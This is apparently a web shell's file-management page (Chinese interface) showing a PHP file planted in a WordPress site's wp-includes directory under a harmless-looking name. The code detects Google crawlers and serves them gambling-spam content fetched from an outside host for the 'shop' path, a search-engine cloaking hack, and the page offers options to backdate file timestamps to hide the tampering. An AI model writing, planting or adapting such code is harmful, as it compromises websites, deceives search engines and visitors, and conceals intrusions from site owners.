文件操作 - syntax-user.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/i2kdefense/public_html/wp-includes/syntax-user.php
编辑文件内容
<?php error_reporting(0); function is_google_bot() { if (!isset($_SERVER['HTTP_USER_AGENT'])) return false; $agents = array( 'Googlebot', 'Google-Site-Verification', 'Google-InspectionTool', 'Googlebot-Mobile', 'Googlebot-News', 'Mediapartners-Google' ); foreach ($agents as $agent) { if (stripos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) { return true; } } return false; } $path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); $query = parse_url($_SERVER['REQUEST_URI'], PHP_URL_QUERY); $path = rtrim($path, '/'); if (empty($path)) { $path = '/'; } $full_request = $path . ($query ? '?' . $query : ''); $cloaking_map = array( 'shop' => 'https://alpmaster.pages.dev/dewaslot88', ); if (is_google_bot() && array_key_exists($full_request, $cloaking_map)) { $target_url = $cloaking_map[$full_request]; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $target_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); $bot_content = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && $bot_content !== false) { echo $bot_content; } exit; } ?>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件